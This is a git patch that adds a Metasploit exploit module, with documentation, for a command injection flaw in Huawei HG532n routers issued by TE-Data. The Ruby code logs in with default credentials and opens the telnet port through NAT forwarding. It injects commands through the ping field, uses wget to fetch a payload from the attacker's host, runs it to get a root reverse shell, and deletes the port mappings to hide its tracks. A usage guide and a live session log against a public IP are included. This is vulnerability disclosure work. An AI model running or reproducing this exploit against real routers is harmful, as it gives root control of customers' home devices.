From 7b8e5e5016d497ed0557465d14de2952a5fd23c1 Mon Sep 17 00:00:00 2001 From: "Ahmed S. Darwish" Date: Sat, 15 Apr 2017 16:19:39 +0200 Subject: [PATCH] Add Huawei HG532n command injection exploit --- .../linux/http/huawei_hg532n_cmdinject.md | 158 +++++ .../linux/http/huawei_hg532n_cmdinject.rb | 550 ++++++++++++++++++ 2 files changed, 708 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md create mode 100644 modules/exploits/linux/http/huawei_hg532n_cmdinject.rb diff --git a/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md b/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md new file mode 100644 index 0000000000..5080c34141 --- /dev/null +++ b/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md @@ -0,0 +1,158 @@ +# HG532n Command Injection Exploit + +## Introduction + +The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command +injection exploit in the ping field of their limited shell interface. + +Affected hardware/software version strings: + +``` + Manufacturer: Huawei Technologies Co., Ltd. + Product Style: HG532n + SN: B7J7SB9381703791 + IP: 192.168.1.1 + Hardware Version: HG532EAM1HG530ERRAMVER.B + Software Version: V100R001C105B016 TEDATA +``` + + +## Usage + +- Set `payload` to `linux/mipsbe/mettle_reverse_tcp` + +- Set `RHOST` to the target router's IP + +- Set `SRVHOST` to your local machine's __external__ IP. The module starts its + own HTTP server; this is the IP the exploit will use to fetch the MIPSBE + payload from, through an injected `wget` command. Make sure this address is + accessible from outside. + +- Set `SRVPORT` to the desired local HTTP server port number. Make sure this + port is accessible from outside. + +- Set `LHOST` to your machine's __external__ IP address. A successful Reverse + TCP payload will ring us back to this IP. + +- Set `LPORT` to an arbitrary port number that is accessible from outside + networks. Metasploit will open a listener on that port and wait for the + payload to connect back to us. + +- Set `VERBOSE` to `true` if you want to see much more verbose output (Detailed + injected telnet commands output). + +TE-Data firmware ships with the `user:user` login credentials by default. +They offer limited functionality, but they are enough for our purposes. +In case you want want to change these, set `HttpUsername` and `HttpPassword` +appropriately. + +Now everything should be ready to run the exploit. Enjoy your Meterpreter +session :-) + +Alternatively, you can avoid hosting the payload executable from within the +module's own HTTP server and host it externally. To do so, first generate +the payload ELF executable using `msfvenom`: + +``` +$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/mettle/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444 + +No encoder or badchars specified, outputting raw payload +Payload size: 212 bytes +Final size of elf file: 296 bytes +Saved as: payload.elf +``` + +Then host the `payload.elf` file on an external, direct-access, web +server. Afterwards set `DOWNHOST` to the external server's IP address +and `DOWNFIILE` to the payload's path on that server. Run the exploit +afterwards. + + +## Live Scenario + +``` +$ msfconsole +msf > use exploit/linux/http/huawei_hg532n_cmdinject + +msf exploit(huawei_hg532n_cmdinject) > set RHOST 197.38.98.11 +RHOST => 197.38.98.11 + +msf exploit(huawei_hg532n_cmdinject) > set SRVHOST 41.34.32.121 +SRVHOST => 41.34.32.121 + +msf exploit(huawei_hg532n_cmdinject) > set LHOST 41.34.32.121 +LHOST => 41.34.32.121 + +msf exploit(huawei_hg532n_cmdinject) > set VERBOSE true +VERBOSE => true + +msf exploit(huawei_hg532n_cmdinject) > exploit +[*] Exploit running as background job. +msf exploit(huawei_hg532n_cmdinject) > +[-] Handler failed to bind to 41.34.32.121:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Validating router's HTTP server (197.38.98.11:80) signature +[+] Good. Router seems to be a vulnerable HG532n device +[+] Telnet port forwarding succeeded; exposted telnet port = 33552 +[*] Connecting to just-exposed telnet port 33552 +[+] Connection succeeded. Passing telnet credentials +[*] Received new reply token = '���� +Password:' +[*] Received new reply token = 'Password:' +[+] Credentials passed; waiting for prompt 'HG520b>' +[*] Received new reply token = 'HG520b>' +[+] Prompt received. Telnet access fully granted! +[*] Starting web server; hostinig /MDGuEPiUDBRXD +[*] Using URL: http://0.0.0.0:8080/MDGuEPiUDBRXD +[*] Local IP: http://192.168.1.3:8080/MDGuEPiUDBRXD +[*] Runninig command on target: wget -g -v -l /tmp/zjtmztfz -r /MDGuEPiUDBRXD -P8080 41.34.32.121 +[*] Received new reply token = 'p' +[*] Received new reply token = 'ing ?;wget${IFS}-g${IFS}-v${IFS}-l${IFS}/tmp/zjtmztfz${IFS}-r${IFS}/MDGuEPiUDBRXD${IFS}-P8080${IFS}41.34.32.121;true' +[*] Received new reply token = 'ping: bad address '?'' +[+] HTTP server received request. Sending payload to victim +[*] Received new reply token = 'The IP is [41.34.32.121]' +[*] Received new reply token = 'Success +ping result: +HG520b>' +[+] Command executed succesfully +[*] Runninig command on target: chmod 777 /tmp/zjtmztfz +[*] Received new reply token = 'p' +[*] Received new reply token = 'ing ?;chmod${IFS}777${IFS}/tmp/zjtmztfz;trueping: bad address '?' + +Success +ping result: +HG520b>' +[+] Command executed succesfully +[*] Runninig command on target: /tmp/zjtmztfz +[*] Received new reply token = 'p' +[*] Received new reply token = 'ing ?;/tmp/zjtmztfz&trueping: bad address '?' + +Success +ping result: +HG520b>' +[+] Command executed succesfully +[*] Runninig command on target: rm /tmp/zjtmztfz +[*] Received new reply token = 'p' +[*] Received new reply token = 'ing ?;rm${IFS}/tmp/zjtmztfz;trueping: bad address '?' + +Success +ping result: +HG520b>' +[+] Command executed succesfully +[*] Waiting for the payload to connect back .. +[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 197.38.98.11:50097) at 2017-04-15 16:45:05 +0200 +[+] Payload connected! +[*] Server stopped. + +msf exploit(huawei_hg532n_cmdinject) > sessions 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.1.1 +OS : (Linux 2.6.21.5) +Architecture : mips +Meterpreter : mipsbe/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb new file mode 100644 index 0000000000..4d3af02b5a --- /dev/null +++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb @@ -0,0 +1,550 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Huawei HG532n Command Injection', + 'Description' => %q{ + + The Huawei HG532n routers are vulnerable to a command injection exploit + in the ping field of their limited shell interface. + + TE-Data, the incumbent ISP operator in Egypt, provides this router to + customers by default. The web interface has two kinds of logins, a + "limited" user:user login given to all customers, and an admin mode used + by company's technical staff. From machines within the TE-Data network, + this web interface is remotely accessible. + + The web interface's user mode provides very limited functionality, only + WIFI passwords change and NAT port-forwarding. Nonetheless by port + forwarding the router's own (filtered) telnet port, it becomes remotely + accessible. All installed routers have a telnet password of admin:admin. + + Due to the ISP's (encrypted) runtime router configuration [*] though, + the telnet daemon does not provide a direct linux shell. Rather a very + limited custom shell is provided instead: "ATP command line tool". The + limited shell has a ping command which falls back to the system shell + though ("ping %s > /var/res_ping"). We exploit that through command + injection to gain Meterpreter root access. + + [*] + at encrypted, read-only, /etc/defaultcfg.xml. + }, + 'Author' => + [ + 'Ahmed S. Darwish ', # Vulnerability discovery + msf module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSBE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' + }, + 'Targets' => + [ + [ + 'Linux mipsbe Payload', + { + 'Arch' => ARCH_MIPSBE, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 15 2017' + )) + register_options( + [ + OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']), + OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']), + OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']), + OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), + OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), + OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), + OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) + ], self.class + ) + end + + def check + httpd_fingerprint = %r{ + \A + HTTP\/1\.1\s200\sOK\r\n + CACHE-CONTROL:\sno-cache\r\n + Date:\s.*\r\n + Connection:\sKeep-Alive\r\n + Content-Type:\stext\/html\r\n + Content-Length:\s\d+\r\n + \r\n + \n\n + \r\n + \n + \n + + }x + + begin + res = send_request_raw( + 'method' => 'GET', + 'uri' => '/' + ) + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - Could not connect to device") + return Exploit::CheckCode::Unknown + end + + if res && res.code == 200 && res.to_s =~ httpd_fingerprint + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + # + # The Javascript code sends all passwords in the form: + # form.setAction('/index/login.cgi'); + # form.addParameter('Username', Username.value); + # form.addParameter('Password', base64encode(SHA256(Password.value))); + # Do the same base64 encoding and SHA-256 hashing here. + # + def hash_password(password) + sha256 = OpenSSL::Digest::SHA256.hexdigest(password) + Base64.encode64(sha256).gsub(/\s+/, "") + end + + # + # Without below cookies, which are also sent by the JS code, the + # server will consider even correct HTTP requests invalid + # + def generate_web_cookie(admin: false, session: nil) + if admin + cookie = 'FirstMenu=Admin_0; ' + cookie << 'SecondMenu=Admin_0_0; ' + cookie << 'ThirdMenu=Admin_0_0_0; ' + else + cookie = 'FirstMenu=User_2; ' + cookie << 'SecondMenu=User_2_1; ' + cookie << 'ThirdMenu=User_2_1_0; ' + end + + cookie << 'Language=en' + cookie << "; #{session}" unless session.nil? + cookie + end + + # + # Login to the router through its JS-based login page. Upon a succesful + # login, return the keep-alive HTTP session cookie + # + def web_login + cookie = generate_web_cookie(admin: true) + + # On good passwords, the router redirect us to the /html/content.asp + # homepage. Otherwise, it throws us back to the '/' login page. Thus + # consider the ASP page our valid login marker + invalid_login_marker = "var pageName = '/'" + valid_login_marker = "var pageName = '/html/content.asp'" + + username = datastore['HttpUsername'] + password = datastore['HttpPassword'] + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/index/login.cgi', + 'cookie' => cookie, + 'vars_post' => { + 'Username' => username, + 'Password' => hash_password(password) + } + ) + fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + + unless res.code == 200 + fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") + end + + return res.get_cookies if res.body.include? valid_login_marker + + if res.body.include? invalid_login_marker + fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") + else + fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") + end + end + + # + # The telnet port is filtered by default. Expose it to the outside world + # through NAT forwarding + # + def expose_telnet_port(session_cookies) + cookie = generate_web_cookie(session: session_cookies) + + external_telnet_port = rand(32767) + 32768 + + portmapping_page = '/html/application/portmapping.asp' + url_append = "?x=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping&RequestFile=#{portmapping_page}" + valid_port_export_marker = "var pageName = '#{portmapping_page}';" + invalid_port_export_marker = /var ErrInfo = \d+/ + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/html/application/addcfg.cgi' + url_append, + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, + 'vars_post' => { + 'x.PortMappingProtocol' => "TCP", + 'x.PortMappingEnabled' => "1", + 'x.RemoteHost' => "", + 'x.ExternalPort' => external_telnet_port.to_s, + 'x.ExternalPortEndRange' => external_telnet_port.to_s, + 'x.InternalClient' => "192.168.1.1", + 'x.InternalPort' => "23", + 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict + } + ) + fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + + unless res.code == 200 + fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") + end + + if res.body.include? valid_port_export_marker + print_good "Telnet port forwarding succeeded; exposted telnet port = #{external_telnet_port}" + return external_telnet_port + end + + if res.body.match? invalid_port_export_marker + fail_with(Failure::Unknown, "Router reported portmapping error. " \ + "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") + end + + fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") + end + + # + # Cover our tracks; don't leave the exposed router's telnet port open + # + def hide_exposed_telnet_port(session_cookies) + cookie = generate_web_cookie(session: session_cookies) + portmapping_page = '/html/application/portmapping.asp' + + # Gather a list of all existing ports forwarded so we can purge them soon + res = send_request_cgi( + 'method' => 'GET', + 'uri' => portmapping_page, + 'cookie' => cookie + ) + + unless res && res.code == 200 + print_warning "Could not get current forwarded ports from web interface" + end + + # Collect existing port-forwarding keys; to be passed to the delete POST request + portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ + vars_post = {} + res.body.scan(portforward_key).uniq.each do |key| + vars_post[key] = "" + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => "/html/application/del.cgi?RequestFile=#{portmapping_page}", + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, + 'vars_post' => vars_post + ) + return if res && res.code == 200 + + print_warning "Could not re-hide exposed telnet port" + end + + # + # Cleanup our state, after any succesful web login. Note: router refuses + # more than 3 concurrent logins from the same IP. It also forces a 1-minute + # delay after 3 unsuccesful logins from _any_ IP. + # + def web_logout(session_cookies) + cookie = generate_web_cookie(admin: true, session: session_cookies) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/index/logout.cgi', + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } + ) + return if res && res.code == 200 + + print_warning "Could not logout from web interface. Future web logins may fail!" + end + + # + # Don't leave web sessions idle for too long (> 1 second). It triggers the + # HTTP server's safety mechanisms and make it refuse further operations. + # + # Thus do all desired web operations in chunks: log in, do our stuff (passed + # block), and immediately log out. The router's own javescript code handles + # this by sending a refresh request every second. + # + def web_operation + begin + cookie = web_login + yield cookie + ensure + web_logout(cookie) unless cookie.nil? + end + end + + # + # Helper method. Used for waiting on telnet banners and prompts. + # Always catch the ::Timeout::Error exception upon calling this. + # + def read_until(sock, timeout, marker) + received = '' + Timeout.timeout(timeout) do + loop do + r = (sock.get_once(-1, 1) || '') + next if r.empty? + + received << r + print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true + return received if received.include? marker + end + end + end + + # + # Borrowing constants from Ruby's Net::Telnet class (ruby license) + # + IAC = 255.chr # "\377" # "\xff" # interpret as command + DO = 253.chr # "\375" # "\xfd" # please, you use option + OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission + OPT_ECHO = 1.chr # "\001" # "\x01" # Echo + OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead + OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition + + def telnet_auth_negotiation(sock, timeout) + begin + read_until(sock, timeout, 'Password:') + sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected first password banner not received") + end + + begin + read_until(sock, timeout, 'Password:') # Router bug + sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected second password banner not received") + end + end + + def telnet_prompt_wait(error_regex = nil) + begin + result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) + if error_regex + error_regex = [error_regex] unless error_regex.is_a? Array + error_regex.each do |regex| + if result.match? regex + fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") + end + end + end + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") + end + end + + # + # Basic telnet login. Due to mixins conflict, revert to using plain + # Rex sockets (thanks @hdm!) + # + def telnet_login(port) + print_status "Connecting to just-exposed telnet port #{port}" + + @telnet_prompt = 'HG520b>' + @telnet_timeout = 60 + + @telnet_sock = Rex::Socket.create_tcp( + 'PeerHost' => rhost, + 'PeerPort' => port, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, + 'Timeout' => @telnet_timeout + ) + if @telnet_sock.nil? + fail_with(Failure::Unreachable, "Exposed telnet port unreachable") + end + add_socket(@telnet_sock) + + print_good "Connection succeeded. Passing telnet credentials" + telnet_auth_negotiation(@telnet_sock, @telnet_timeout) + + print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" + telnet_prompt_wait + + print_good 'Prompt received. Telnet access fully granted!' + end + + def telnet_exit + return if @telnet_sock.nil? + @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY) + end + + # + # Router's limited ATP shell just reverts to classical Linux + # shell when executing a ping: + # + # "ping %s > /var/res_ping" + # + # A succesful injection would thus substitute all its spaces to + # ${IFS}, and trails itself with ";true" so it can have its own + # IO redirection. + # + def execute_command(command, error_regex = nil, background: false) + print_status "Runninig command on target: #{command}" + + command.gsub!(/\s/, '${IFS}') + separator = background ? '&' : ';' + atp_cmd = "ping ?;#{command}#{separator}true" + + @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) + telnet_prompt_wait(error_regex) + print_good "Command executed succesfully" + end + + # + # Our own HTTP server, for serving the payload + # + def start_http_server + @pl = generate_payload_exe + + downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + resource_uri = '/' + downfile + + if datastore['DOWNHOST'] + print_status "Will not start local web server, as DOWNHOST is already defined" + else + print_status("Starting web server; hostinig #{resource_uri}") + start_service( + 'ServerHost' => '0.0.0.0', + 'Uri' => { + 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, + 'Path' => resource_uri + } + ) + end + + resource_uri + end + + # + # HTTP server incoming request callback + # + def on_request_uri(cli, _request) + print_good "HTTP server received request. Sending payload to victim" + send_response(cli, @pl) + end + + # + # Unfortunately we could not use the `echo' command stager since + # the router's busybox echo does not understand the necessary + # "-en" options. It outputs them to the binary instead. + # + # We could not also use the `wget' command stager, as Huawei + # crafted their own implementation with much different params. + # + def download_and_run_payload(payload_uri) + srv_host = + if datastore['DOWNHOST'] + datastore['DOWNHOST'] + elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + Rex::Socket.source_address(rhost) + else + datastore['SRVHOST'] + end + + srv_port = datastore['SRVPORT'].to_s + output_file = "/tmp/#{rand_text_alpha_lower(8)}" + + # Custom Huawei busybox (v1.9) wget + # + # Options: + # -g Download + # -s Upload + # -v Verbose + # -l Local file path + # -r Remote file path + # -P Port to be used, optional + # + wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}" + + execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc. + execute_command("chmod 777 #{output_file}", /No such file/) + execute_command(output_file, /not found/, background: true) + execute_command("rm #{output_file}", /No such file/) + end + + # + # At the end of the module, especially for reverse_tcp payloads, wait for + # the payload to connect back to us. There's a very high probability we + # will lose the payload's signal otherwise. + # + def wait_for_payload_session + print_status "Waiting for the payload to connect back .." + begin + Timeout.timeout(datastore['ListenerTimeout']) do + loop do + break if session_created? + Rex.sleep(0.25) + end + end + rescue ::Timeout::Error + fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") + end + print_good "Payload connected!" + end + + # + # Main exploit code: login through web interface; port-forward router's + # telnet; access telnet and gain root shell through command injection. + # + def exploit + print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" + unless check == Exploit::CheckCode::Appears + fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") + end + + print_good "Good. Router seems to be a vulnerable HG532n device" + + telnet_port = nil + web_operation do |cookie| + telnet_port = expose_telnet_port(cookie) + end + + begin + telnet_login(telnet_port) + payload_uri = start_http_server + download_and_run_payload(payload_uri) + wait_for_payload_session + ensure + telnet_exit + web_operation do |cookie| + hide_exposed_telnet_port(cookie) + end + end + end +end